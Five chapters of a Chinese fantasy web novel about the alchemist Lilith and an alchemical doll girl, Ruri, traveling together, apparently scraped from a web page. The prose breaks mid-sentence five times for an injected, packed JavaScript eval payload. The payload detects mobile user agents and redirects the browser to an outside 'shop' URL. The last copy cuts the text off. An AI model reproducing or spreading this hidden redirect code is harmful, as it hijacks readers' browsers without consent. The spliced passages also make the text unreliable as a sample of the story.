《人偶，少女与奇幻二人旅》 1. 第 1 章 初识 森林的深处，苔藓覆盖的石阶踩上去十分柔软的，带着一点湿气。莉莉丝喘了口气，擦了擦额头的汗。“呼……终于，到这里了啊。”四周是古老遗迹的残骸。倒塌的柱子之间，淡淡的魔力粒子在空气中飘浮。空气凉凉的，带着一丝金属般的甜味。莉莉丝轻轻挥了挥杖，确认探知器的读数。指针剧烈晃动着。没错。这里就是预测中的地方——那种能大幅提升炼金稳定性的超稀有矿物，“埃尔晶核”的所在地。自从在附近的河流里捡到了带有矿物的母岩后莉莉丝就一直在找这个地方。 “……找到了。” 大厅中央。圆形的炼金台上，躺着一个少女。黑色的长发，像丝绸一样顺滑地散开。闭着的眼睑下，长长的睫毛投下阴影。皮肤白得近乎透明，呼吸均匀得让人怀疑是不是真的在睡。莉莉丝屏住了呼吸。 “人类为什么会躺在这种地方？” 遗迹的大门在此之前并没有被打开过的痕迹，意味着眼前的少女来自于遗迹本身。莉莉丝不断打量着巨大的炼金台，少女的直觉告诉她唤醒少女的办法就在此处。四处寻找的过程中，莉莉丝不小心碰到了什么东西。少女的睫毛微微颤动，在莉莉丝的注视下她缓缓坐起然后停止了动作。莉莉丝后退一步，握紧杖，警戒地盯着这位神秘的少女。四分钟后，少女慢慢睁开了眼睛。那是深蓝色的瞳孔。像湖底一样安静的颜色。 “是你将我唤醒的吗？“ 少女坐起身，环顾四周。动作流畅得像经过精确计算，没有一丝多余。最后少女的目光停留在了莉莉丝身上。 莉莉丝瞪大了眼睛赶在少女之前开口问道“等一下！你是什么人？为什么会出现在这里？” 少女微微歪头。 “成品，制造者似乎是这么称呼我的，而这里就是我诞生的地方。这样的回答你能明白吗?” “这种奇怪的回答怎么可能弄得明白啊!” “炼金人偶，这是我的身份，制造者在这里将我制造出来，现在能理解了吗？” “不对不对，像你这种人偶，书上可根本没有记载啊！” “历史记录不在我的记录范围内。制作者未提供相关信息。但既然我存在于此也就证明你认知中的书中也有收录详的地方吧此外，您当前心率上升15%，情绪波动会影响对语言的理解。” “够了，也就是说你现在没有主人是吧，那么我——莉莉丝大人将成为你新的主人。” 人偶的蓝瞳微微闪烁。 “抱歉，与你认知不同，制作者并未为我装载主仆功能，所以你的请求我难以满足。” 莉莉丝嘴角抽了一抽。（自顾自地就说出来了，好尴尬，没有主仆功能的炼金人偶什么的也太奇怪了） “算了。那，给你取个名字吧。琉璃怎么样？是个和你眼睛很搭的名字，反正你独自一个人，要不要跟我一起旅行？” “接受。琉璃，今后你可以称呼我这个名字。” 两人离开了遗迹。夕阳把森林染成红色时，她们在合适的空地停下，准备过夜。莉莉丝从背包里取出干粮和硬面包，分给琉璃一份。 “今天就简单吃这个吧。野外旅行，习惯了。”琉璃接过，平静地吃起来。效率很高，几乎没有咀嚼的浪费动作。吃完后，莉莉丝有点得意地笑了笑。从背包取出另一个炼金道具——便携式营地结界器。 “看好了哦。这是我自己改良的。平时一个人旅行，用这个就够了。” 她注入魔力，道具展开。一道淡蓝色的光幕升起，形成简易的帐篷形状，内部还有防虫和保温的功能。地面自动平整，角落甚至浮现出柔软的寝袋。 （嘿嘿，让你见识见识我的实力。） 琉璃的蓝瞳扫过整个构造，客观点评道：“结构高效。魔力回路利用率约85%，保温效果在夜间森林环境中可维持体温稳定。认可此道具的实用性。”莉莉丝心里小小地得意了一下。（被认可了呢……虽然是这种奇怪的方式。）两人钻进结界内，各自躺下。夜风被挡在外面，营火的余烬在光幕上映出淡淡的影子。莉莉丝闭上眼睛，却怎么也睡不着。今天发生了太多事。从一个人孤独地探索遗迹，到突然多了个伙伴……琉璃。（……真的挺开心的啊。一个人旅行的时候，晚上总是空荡荡的。现在，有人在旁边，就觉得……安心？）她偷偷睁开眼睛，借着微弱的火光，看向旁边的琉璃。黑发散在寝袋上，眼睛闭着，呼吸均匀而安静。睡颜意外地安详，分明就是个美丽的少女嘛。（睡着了啊……人偶也需要睡眠的吗？）莉莉丝试着轻声叫了叫：“琉璃？” 没有反应。睡得很深。 好奇心渐渐占了上风。莉莉丝撑起身子，靠近了一些。（她到底是用什么材料做的？头发这么黑这么顺……皮肤也太完美了。）她伸出手，轻轻触碰琉璃的发梢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477346|201571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。柔软，带着一点凉意。像人类的头发，却又太完美了。（……会不会是某种特殊纤维？还是魔力结晶？）莉莉丝的目光落到营火的余烬上。她捡起一根小树枝，点燃了火苗。（就试试看吧……如果烧不着，肯定不是普通材料。）她小心地把火苗靠近琉璃的一缕头发——突然，一只手精准地抓住她的手腕。琉璃睁开了眼睛。动作快得惊人，转眼间就把莉莉丝压在身下，深蓝的眼睛直视着她。 “你难道是睡觉的时候会对旅伴动手动脚的那种类型吗？” 声音平静，却带着一种不容置疑的直球感。莉莉丝的脸瞬间红透了，心跳乱成一团。 “欸、欸欸？！等、等等！不是那样的！” 她慌忙挣扎，却发现琉璃的力气意外地大。完全动不了。手腕上传来凉凉的触感，近距离的蓝瞳让人呼吸一滞。（好近……这眼睛，好漂亮……不对，现在不是想这个的时候！） “我、我只是好奇你的材质而已！想试试头发是不是易燃……真的只是炼金师的好奇心！对你感兴趣什么的……不对，不是那种意思！” 琉璃蓝瞳微微闪烁，分析般盯着她看了几秒，然后松开了手，坐起身。 “……误会确认:你的行为属于好奇驱动的实验尝试，并非恶意接触。意见保留，日后会加强对此类行为的关注程度。” 莉莉丝揉着手腕，脸还红着，尴尬地坐起来。 “突然压上来……吓死我了。你睡觉不是很沉吗？” “正常的应激反应罢了，无论是谁面对这种情况都会如此。”琉璃平静回答，然后顿了顿，“关于材质问题……我无法提供准确答案。制造者并未详细记录。我对自己身上的许多问题，也没有头绪。” 莉莉丝愣了愣，看着琉璃的侧脸。火光下，那张脸依旧完美，却多了一丝……茫然？（……她也不知道啊。）尴尬的空气渐渐散去，莉莉丝挠挠头，笑了笑。 “嘛，算了。反正以后慢慢研究吧。现在我们是旅伴嘛。” 琉璃点点头。“同意。晚安，莉莉丝。” “……嗯，晚安。” 莉莉丝重新躺下，心跳还没完全平静。刚才的压倒、近距离的对视……还有那句质问。（……好奇心太重了啊，我。）但不知为什么，嘴角却微微上扬。夜更深了。 “这一天，还真是不得了啊，不过以后的日子不会无聊了吧” 2. 第 2 章 以后就让你负责做饭了 早晨的森林，带着一点凉意的雾气还没完全散开。莉莉丝揉着眼睛，从结界里的寝袋爬起来。昨晚的事——那场烧头发的误会，还有琉璃近在咫尺的眼睛——让她脸有点热。不过，醒来时心情意外地轻快。 （……有个人在旁边，早上醒来居然没那么空荡荡的。） 琉璃已经醒了，正坐在一旁整理昨晚的营地痕迹。动作安静而利索。 “早安，莉莉丝。你的睡眠时间约八小时，你现在要开始吃早餐吗。” 莉莉丝愣了愣，笑着摆手：“不了，刚起床的好心情会被硬邦邦的干粮毁掉的。” 琉璃没再回应，只是继续收拾好了二人留下的痕迹 莉莉丝撇撇嘴，问到“你什么时候起床的，刚起床就开始收拾，挺能干嘛。” “不，我比你提前了两个小时，而且我已经解决完了早餐。” “那我也吃点东西好了” 莉莉丝取出干到发硬的面包往嘴里塞。咀嚼这东西的难度不是一般的大。 琉璃看见莉莉丝艰难的吞咽后便递上了自己的水袋。 “喝水能避免□□面包噎住，你不必这么着急，过于着急的进食有概率引起胃部疾病。” “这不是不想让你等太久嘛，下次你醒了就把我也叫醒吧，不然老是让你等着还怪不好意思的。” “我会注意。” 从艰难的进食中解放后莉莉丝来到不远处的河流洗漱。 河水清凉，阳光从树叶间洒下来，斑斑点点。 莉莉丝蹲在河边，捧水洗脸，琉璃也在不远处进行同样的动作——掬水、轻拭脸庞、梳理黑发。 这个场景，莉莉丝不经看得有些出神了。 （这家伙在干什么？） 琉璃察觉到视线，微微转过头。 “我的行为有什么奇怪的地方吗吗？” 莉莉丝被抓包，尴尬地挠挠脸：“没、没什么……就是，你为什么也需要洗漱啊？还有吃饭也是。人偶不需要这些吧？还是说你在有意地模仿人类行为？” 琉璃停下动作，平静注视河水。“您的疑问基于认知偏差。我是制作者以人类为模板制作的。身体结构和外貌都与人类相似，因此人类的基本生理需求，我也同样拥有。只是需求量更少。例如进食、睡眠、清洁等。” 莉莉丝眨眨眼。 “欸……所以你也会饿、也会困？” “会。但阈值相对较低。一般情况下睡眠仅需4小时即可恢复，对食物的需求量也较小。 ”莉莉丝忍不住吐槽：“那你这奇怪的说话方式又是怎样，人类可不会像你这样说话吧。你的制造者没考虑到这点吗？” 琉璃微微歪头。 “这方面的知识仍在学习中。制造者的本意是让我在不断学习中变得刚接近人类。而且我认为我当前的语言方式具有更高的沟通效率。冗余修饰语会降低信息传递精度，人类中不也有类似的做派吗？” 莉莉丝无言以对，只能嘟囔一句：“……奇怪的家伙。那种人不能用正常人来形容吧。” 随后她站起身，拍拍裙子上的水珠，先走了。见状琉璃也安静跟上。 森林小径蜿蜒，鸟鸣不时响起。莉莉丝克制不住好奇心，问题一个接一个冒出来。 “那……你会不会受伤流血？血液是什么颜色？” “会，如果能刺穿我的皮肤的话。顺带一提，我的皮肤强度和使用了躯体强化魔法的高阶武斗家相当，其余结构的强度只会在这之上。血液颜色与人类相同。” “消化食物是怎么回事？” “我先前应该说过我具有与人类相似的身体结构，因此我也具备完整的消化系统。” “还挺像那么回事的嘛。” 琉璃继续走着，语气平淡：“您的提问频率远高于我认知中的独狼冒险家。当然，也不排除你与众不同的可能。此外，森林行走时持续说话易分心，摔倒风险较高。” 莉莉丝脚步一顿，脸热了热。 （……被这样说了啊。一个人旅行时确实不怎么需要说话，但遇到她……） 她尴尬地咳嗽：“不管谁遇到你这样的，都会好奇得问个不停吧！别看我这样，我可是实打实的A级冒险家哦。” 琉璃扫过来一眼。 “冒险家协会字母等级为见习阶段。真正冒险家需金属身份牌区分级别。这种常识我是知道的。因此，你不必以炫耀的方式向我展示能力。” 被拆台的莉莉丝气鼓鼓的。 “……不理你了！” 她加快脚步，往前跑开，拉开距离。树叶沙沙，脚步声有点重。 琉璃在后面跟着，平静的声音传来：“不要离我太远。我不一定能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477347|201571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保证你的安全。” “不需要！” 森林安静下来，只剩脚步声。 就这样走了很久。太阳已经挂在天空的中央了，肚子也开始抗议。 找了个空地休息。莉莉丝拿出干粮，硬邦邦地啃着。不远处，琉璃也取出自己的份。但没直接吃，而是简单处理了一下——用小火烤热。在森林里找到能作为香料的植物不是难事，如果你能分辨出来的话。有了香料的加持，寡淡的干粮也散发出不错的香气。 香气飘过来。这对长期□□粮硬控的莉莉丝来说是难以抵挡的诱惑，忍不住看向了那边。 “……你不会是故意在上风口吃东西气我的吧？” 琉璃摇摇头。 “只是简单的处理。能有效解决干粮难以下咽的问题。你也要吃一点嘛？” 莉莉丝嘴硬了一下，但肚子是诚实的。 她走过去，接过琉璃递来的份。一口下去——是身心被治愈的感觉。干粮居然能这么好吃。 “……这是旅途中最快乐的一顿饭了。” 先前生的气早就烟消云散。莉莉丝大口吃着，心情亮堂起来。 “好，就这么决定了，以后做饭的任务，全权交给琉璃负责！” 琉璃嘴角微微一动。 “无奈。没有厨具的话，只能做些简单处理。” 莉莉丝得意地笑了笑，从储物袋里哗啦啦倒出一堆东西——全套锅碗瓢盆，刀叉调料，甚至还有小炉子。 “不用担心那种问题！看，这个！” 琉璃盯着那堆厨具，难得顿了顿。 “……明明不会做饭，却准备了全套厨具。您果然是个奇怪的人类。” 莉莉丝脸红了，害羞地挠头。 “本、本来是打算学的嘛……但果然还是干粮方便一点，虽然不好吃。” 琉璃点点头。 “理解。烹饪确实是一件麻烦的事情。” “对的对的，就是这样” “不过也不能排除懒惰的原因。” “看在以后美味饭菜的份上，我就不跟你计较了” 尴尬的空气散去，两人简单交流了几句，又并肩上路。森林的风吹过来，带着午后阳光的暖意。莉莉丝偷偷瞄了琉璃一眼。 （好耶，以后再也不用用腮帮子挑战极限了，琉璃赛高！） 3. 第 3 章 由琉璃接管做饭任务后，莉莉丝显然有了更强的活力。最近莉莉丝主要在进行区域勘测，顺便搜索稀有素材，不断重复这样的任务已经过了三天。 森林深处空气清新，阳光从树冠漏下，斑斑点点。她心情不错，哼着小调采摘植物，偶尔回头看琉璃安静跟上的身影。 （琉璃这家伙就一直这么跟着，几乎没有主动开过口啊。） 琉璃走在一旁，偶尔停下盯着路边的花草，莉莉丝不理解这样的行为，琉璃应该知道关于这些植株的详细信息才对。 “莉莉丝，你在森林里的计划是什么，植物已经开始发生变化了，再深入下去不知道会遇见什么？” 莉莉丝停下脚步 （原来是在注意这种事情吗） “……继续深入吧，比这更靠里边的地方我都去过，目前产生的变化都在不用在意啦。我开始是奔着狩猎高级一点的魔兽去的，谁能想到遇见你了啊。” 琉璃微微歪头。 “当前位置早就不在常规冒险家的活动范围了。你知道我们现在所处地点吗？” 莉莉丝一愣，挠挠头：“欸……我深入森林快两周了，在遇见你之前就已经有点迷路了吧。不过不用担心，要相信我作为A级冒险家的专业素养啊。” 琉璃平静注视她。 “迷路状态下继续深入，风险较高。狩猎高级魔兽的成功率进一步降低。以我对你的了解，你的决策可行性有待商榷” 莉莉丝摆摆手：“不对不对！才几天啊，你能有多了解我啊。” “那你目前有回到人类城市的办法吗？” “当然有，等完事之后找到路就行，连接城镇与城镇的路，无论往那边走都走能到城里去。” 琉璃顿了顿。 “经计算，食物储备还可支撑一周。你考虑过这点吗？” 莉莉丝盯着琉璃的眼睛。 “你会做饭的对吧？” 琉璃点点头。 “那就不用担心了，你能分辨出食材，森林里也不缺食材，没必要为食物了吧？” “我可以理解为你把我当成解决办法吗？” 莉莉丝脸热了热，只好敷衍道“我们是旅伴嘛。” 继续往前。森林内部的气候是无法预料的。两天时间里大雨倾盆而下根本没有要停的迹象，好像这个世界都变得变得模糊了。 两人衣服湿透了，在这种规模的大雨面前，仅仅呆在树下是不够的，而且带有被闪电击中的风险。 路上她们确实看见了被劈得焦黑的断木。 琉璃抬头看了看云层。“雨势持续时间无法估计。只能先找避雨的落脚点了。” 顺着山的方向看去，琉璃很快找到一处山洞。 洞口不大，但深处有不小的空间，雨淋不到内部，所以显得很干爽。 两人钻进去，立马用魔力将衣服里的水分赶走，着凉的话就没法继续深入了。 莉莉丝望着洞外雨幕，无奈叹气：“这下麻烦了。计划全乱。” 琉璃点头。 “雨看样子还要下很久啊。”莉莉丝想了想，眼睛亮了亮：“那……深入山洞探索吧？说不定有出口，或总比在这干等着好。” 琉璃平静提醒：“风险预估：山洞深处可能有难以应付的危险。许多高阶魔兽会占据作为巢穴。” 莉莉丝迟疑了一下，但冒险心占上风：“风险与机遇并存，你就不能乐观一点吗？” 琉璃叹了口气（虽然表情没变） “这只是对可能发生的事先做好准备。单纯的乐观无法带来任何有用的帮助。” “是是是。走了。” 莉莉丝取出储物袋里的移动光源，像小灯笼一样发出橙黄色的光。两人向深处进发。 山洞结构复杂，岔路多。雨声渐渐消失了，但二人的步调不一致。转眼，莉莉丝回头确认时琉璃不见了。 “琉璃？” 没有回应。 莉莉丝心跳加速，黑暗中东张西望。一个人在山洞里，慌张涌上来，最糟糕的事情发生了。 （……糟了，走散了。） 她大声呼唤：“琉璃！你在哪？！” 声音在洞壁回荡。着急得喉咙感到干燥。 突然，脚下一空——莉莉丝失足掉入了深坑。 “哇啊！” 落地时摔得不轻。莉莉丝爬起，不断呼唤：“琉璃！琉璃！” 上方传来熟悉的声音：“莉莉丝，你那边什么情况？” 这没有情感起伏的声音，慌乱情绪瞬间缓解了大半。 （……还好还好，没只留我一个人） “我掉进坑了！但没事，前方好像还有路。” “我会想办法上去汇合。” “没必要。”那个声音依旧很平静 然后，一道身影跃下——琉璃精准落地，来到她身边，扫了两眼。 “确认没有骨折，你有哪里痛吗？” 莉莉丝松了口气，尴尬笑了笑：“谢谢……我没事，拜托下次不要一声不吭的突然消失，很吓人的好不好？” 琉璃盯着她。 “我先前应该说过不要离我太远。你冒失的行为会加大旅行的风险。我不理解这种不靠谱的性格，在遇到我之前你是怎么一个人旅行的。” 莉莉丝脸红，挠头：“遇你前我可是很谨慎的！这不是有你跟着我才大胆了些嘛， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477348|201571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能一时间得意忘形了吧……” 琉璃叹气：“还是先想办法出去吧。” 两人继续往前。莉莉丝隐约听到了水声。 “那边好像有水流！” “肯定，顺着水走总能找到出口的。” 跟着水声，两人走出洞口——眼前豁然开朗。一个规模不小的地下空间。 荧光的植物和蘑菇散布各处，像星星一样发光。河水静静流淌，空气凉凉的，湿度明显比上方大。 莉莉丝感叹：“跟地面比起来简直就是另一个世界。” 琉璃点头：“荧光物质为生物发光。可以食用，适合在此处扎营。” 两人找到河边平地。莉莉丝布置结界，琉璃生火做饭。 做饭的间隙莉莉丝在周围逛了逛，带回些荧光植物研究：“这东西真的能吃吗？还是当移动光源的材料比较合适吧。” 地下空间的气温明显低于地表。莉莉丝打了个哆嗦，从储物袋取出斗篷。 “你要不要也来一件？” 琉璃摇摇头 “不需要。” 莉莉丝还是取出另一件，披到琉璃身上。琉璃歪歪头：“为什么，我应该说过了不用了吧？” 莉莉丝果断回应：“这种时候应该说谢谢啊。” 琉璃顿了顿，郑重道谢：“谢谢你，莉莉丝大人。” 莉莉丝脸有点红，不看她：“倒、倒也不用这么正式……” “我还以为你会喜欢被这样称呼。” …… 琉璃做完晚饭，热汤似乎是拿岩壁上发光的蘑菇炖的，诱人的香气和令人没有食欲的荧光截然不同。但要吃下去还是要做好心理准备，琉璃率先动口，莉莉丝则一直看到琉璃咽喉的蠕动才敢下口。 所幸味道不错。 “食物耗尽前应该能回到地面。但为防万一，还需多收集些可食用的东西。” 莉莉丝用勺子戳着碗里的蘑菇：“狩猎计划泡汤喽。” 琉璃注视着她。 “都这种时候了还想着狩猎。你的思维方式果然与正常人不一样吧。” 莉莉丝张嘴想反驳，却找不到话。（……感觉也没遇到什么紧急的情况啊） 但真这么说的话肯定又会被吐槽的吧，莉莉丝只能假装专心吃饭：“这个汤真好喝，吃了会发光的蘑菇我也会发光吗？” 琉璃没说什么，只是瞟了一眼。 简单交流后，二人粗略收拾了一下就睡去了。 地下荧光柔和，像星空。莉莉丝听着河水声，偷偷瞄琉璃侧脸。 （明明之前不这样的，总感觉无意之间越来越依赖这家伙了……算了不想了，有什么事明天再说） 4. 第 4 章 早晨的地下空间，荧光植物散发着柔和的光芒，像无数小星星散落在洞顶和河边。 莉莉丝揉着眼睛醒来，自己的身边依旧没有另一个人。看来琉璃又先起床了。直到现在昨天发生的事情都还有些不真实感，不过地下的荧光有力地否定了这不真实的感觉。 （……地下居然这么美。这种景象我还是第一次见，明明没在图鉴里看到过。） 空气中飘来烤鱼的香气——看来是琉璃在准备早餐了。 “早啊，琉璃。” “早安，莉莉丝。你的睡眠时间约七小时。希望你得到了有效的恢复。” 莉莉丝笑着摆手：“……也不用这么关注我睡觉的时间吧，我之前不是说过你醒后可以叫我起床吗？” “经过对睡眠时间的统计，在这个时间准备早餐，能在你起床后恰好完成。这是你的那份。” “哈哈……还真是贴心啊。” 烤鱼的香气很诱人诱人。但地下的动植物都有各自奇特的地方。 “长的好怪啊，就没有什么正常的食物吗？” 嗅觉与视觉的差异让莉莉丝一时不知如何下口。 “在你眼中奇怪的外表正是这些鱼为适应地下的进化结果，所以这是其实是极正常不过的外表。” “你的接受能力还是一如既往的好啊。” 眼见琉璃已快将自己的那份吃完，莉莉丝才匆忙地吃起来。 琉璃的份只有莉莉丝的一半不到，所以琉璃吃饭的时间通常只有莉莉丝的三分之一不到。 “每次都吃那么一点真的好吗？你再多吃一点也没关系吧，反正人偶不会长胖。” “足够了，更少的食量意味着更快的用餐速度，这一点对于冒险家来说很重要。” “重要在哪？这只是你自己认为的吧？等回城镇了我一定要让你多吃点。” “感谢你的好意，但你没有必要做这种没有意义的事。” “少废话，我已经决定好了，你没有拒绝的权利。” “否认……” 琉璃刚准备反驳就被莉莉丝打断了，与其争辩那种事还不如想想怎么从这里出去，所以琉璃也没再说什么。 莉莉丝与琉璃洗漱后开始了对地下洞穴的正是探索，两人沿地下河不断向前移动。 荧光植物的奇景被地下河反映出来，莉莉丝已经把找出口的任务丢在脑后了。 “琉璃，来试试！好神奇，这里的水里面还有些会发光的物质，好玩！” 琉璃被泼到，微微歪头。 “我们的首要任务应该……” 迎面而来的水花打断了琉璃的话。 莉莉丝笑出声：“你再不反击的话，衣服可全都要湿喽！” “看来只有战胜你，才能让你想起来该干正事了。” 琉璃的回击并没有夹带多少玩闹的意思，可能是作为人偶的她还无法体会其中的快乐吧。 琉璃毫无悬念的赢下了玩水的游戏，而莉莉丝正用魔法烘干湿透的衣服。 “用魔法是犯规的。”莉莉丝如此抗议。 “这只是为了让你安静下来的手段。不要忘记了找到出口才是我们应该干的事。” “我没忘！” “但愿如此。” …… 经过琉璃的教训莉莉丝也终于安分下来，开始认真分析路况，顺便对没见过的物种进行采集记录。 莉莉丝提到狩猎计划遗憾：“净是些没见过的东西，要是能见到高级一点的魔兽就好了。” “这些物种的信息是有记录的，但一般只有正规冒险家才能查阅。你没有见过是正常的。”琉璃给出了准确的回答。 “你什么意思！难道我就不是正规冒险家吗？我也是有注册记录的好吧。” “我所指的是持有金属身份牌的专业人士，而不是你这种见习生。” “你……！等这次回去我就申请晋级绝对不能再被你这家伙瞧不起了！” “虽然并没有瞧不起你的意思，但还是祝你好运。“ 深入河支流，两人发现高阶魔兽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477349|201571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踪迹——带有魔兽气息的领地标记。 莉莉丝眼睛亮了：“正好！狩猎任务继续进行！” 琉璃看着这独特的标记分析道：“这种具有领地意识的地下生物一般为群居生物，他们会听从首领的命令行动，狩猎难度极大。建议放弃。” “机遇并存，小心点就好！” 莉莉丝显然不认为这些魔兽会对自己造成威胁。 二人顺踪迹找到魔兽群，这是一个占据复杂洞穴的蜘蛛巢穴。莉莉丝尝试偷袭落单个体，虽然拥有对魔力的精准控制和对武器的熟练运用，还是没能在第一时间解决掉魔物，魔物在最后发出的嘶吼声惊动了种群，怪物群追来。琉璃见状只好拉起莉莉丝的手就跑。 洞穴结构复杂，路况难以预测。莉莉丝立马询问：“琉璃！这是要往哪个方向跑？” “跟我来！” 逃跑中琉璃利用魔法布置陷阱拦住魔兽的追赶，莉莉丝见状也沿路丢下不少触发式的炼金道具。 终于逃到了安全的支洞，两人再此进行简单休息。莉莉丝松了口气：“吓死了……”琉璃的手温度不高，这样牵着让人感到安心。 修整好状态后莉莉丝终于不再拖沓的决定立即返回地面。利用魔法和斗篷上隐藏气息的术式可以躲过大部分魔兽的感知。 在小心翼翼的移动和琉璃正确的路径判断下，二人最终离开洞穴。 映入眼帘的首先是明亮的夜空，与地下的荧光相比，月亮与星空更让人心情舒畅。两人来到河边整理收获，度过今晚后二人将踏上寻找城市的路。 莉莉丝瘫软在地：“累死了，好久没有这么拼命的跑过了，不过……狩猎计划到是圆满完成了呢。” 琉璃点头：“接下来就要寻找回城市的路了。” 莉莉丝笑了：“那个简单啦，现在我们先把晚饭解决了吧，其他事明天再说。” 也许是丰收带来的喜悦或者是因为拼命奔跑的劳累，莉莉丝这天晚上睡得格外香甜。 接下来的路程将会十分愉快以及轻松。 5. 第 5 章 回城和夜晚的闲聊 走出洞穴的第二天早晨，莉莉丝睁开眼睛，首先映入眼帘的终于不是灰暗的岩壁，而是湛蓝的天空。 阳光从树叶间洒下，斑斑点点。空气清新，带着森林独有的湿润气息。 （……蓝天啊。总算回来了。） 莉莉丝伸了个懒腰，昨晚的惊险逃脱和丰收喜悦还残留在心里，让她心情格外轻快。 不远处，琉璃已经醒了，正安静坐在一旁，望着远方。 “早安，琉璃。” “早安，莉莉丝。今天就是回城的日子了，希望你已经得到了足够的休息。” 莉莉丝笑着坐起：“那是自然，如果不是你，我们昨天可能就要永远留在地下了。” 琉璃微微歪头：“无需在意，这场逃脱也少不了你的帮助。” …… 简单收拾后，两人踏上回城的路。穿越森林的途中，莉莉丝依然进行区域勘测，顺便搜索稀有素材。这个工作在旅行中重复了很多遍，但琉璃能明显感觉到莉莉丝更加活跃了——哼着小调，脚步轻快，偶尔回头分享发现。 琉璃安静地跟在莉莉丝身后。终于，在太阳不断升高时，琉璃率先发现了人们来往于城市之间的道路——宽阔的土路，车辙痕迹清晰。 莉莉丝注意到后，开心地向琉璃说明：“对，只要顺着这条路走，不管哪个方向都能到城镇了！” 琉璃问：“那你知道我们现在处于路的哪一段吗？如果没选好方向，就算沿着路走我们也要花上很长一段时间，提醒一下储存的干粮已经耗尽了，如果不能在天黑之前回到城镇的话会很让人头疼。” 莉莉丝思考了一会儿：“印象中，我以前每次走入大片平原的时候，没多久就能看见城镇轮廓，往植被向平原变化的方向走就好了，我记得你是可以分辨出来的吧？” 琉璃盯着包围道路的森林看了好一会儿，然后带着莉莉丝朝着一个方向走去。 莉莉丝对琉璃的判断十分相信，之前琉璃通过植物变化来定位的准确性自己也看在眼里。 太阳开始下落了，两人也终于走出被树包围的路段。不久，绿色平原上出现零散的白点——是城镇附近的牧羊人在放牧。 莉莉丝招呼琉璃：“走，我们去找牧羊人吧，在营地休息一会儿，这一路上我们都没怎么吃东西，累死了。” 在牧羊人的引导下，两人来到放牧的营地。善良的牧羊人将锅中的肉汤分给她们一人一碗。在饥饿的影响下，一碗肉汤是如此的鲜美。一碗下来莉莉丝明显没有满足，琉璃很自然地将自己碗中的一份分了一半给莉莉丝。 “我吃这么多足够了。” 虽然很想拒绝，但莉莉丝不会跟肚子作对。琉璃食量少的优点第一次为自己带来了帮助。 休息好后莉莉丝向牧羊人表示感谢，从袋子里拿出一枚银币。 牧羊人摆手：“五枚银币就能买下一只羊羔了，这点汤并不值得你的回礼。” 莉莉丝又换成三枚铜币：“这些还请你一定要收下。” 牧羊人笑着收下铜币后，两人询问到城镇距离还有多远。被牧羊人告知只要再走一会儿就能看见城镇的轮廓了。 再次上路时，琉璃问莉莉丝：“明明对方说过不需要回礼了，为什么你还是坚持给了三个铜币？” 莉莉丝看向琉璃笑了笑：“这就是你还要向人类学习的地方啦。对于劳累的旅人，能休息营地和热汤都是很难得的。大多数人都会感激地回礼吧。” “我与你一起走了这么久，感觉你说的那些并没有像描述的那样难得。” “这不正好体现我是专业冒险家吗？只有像我这么专业的冒险家，才不会担心这些生活问题。” 琉璃没再追问。 聊着天，两人终于回到了城镇。天色也很快暗了下来，第一件事是找旅馆住下。 莉莉丝从来没有住过冒险家协会的宿舍，向来选旅馆最好的房间。琉璃在莉莉丝办理入住时问：“为什么不住协会的宿舍？在那里处理后续的事情更方便吧？” 莉莉丝果断摇头：“绝对不要那种地方。像旅馆这种环境才更适合我。而且倒也没什么要紧的事要去协会吧！” 她办理了一间最好的双人间——房间两旁有独立床铺，中间带有共用的分层式储物柜。一扇不大的窗户，使房间里的人能清楚地看到外面的街道。 放下行李后，两人来到房间内独立的浴室泡澡。 对皮肤来说有点烫但还在可接受范围内的热水加上白色的水雾给莉莉丝带来了久违的放松感。难得有这种舒服的环境所以莉莉丝在水里多泡了一会儿。出来时，看见琉璃在窗边专注地注视着夜里的街道。 时间还不算太晚，但街上已经没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 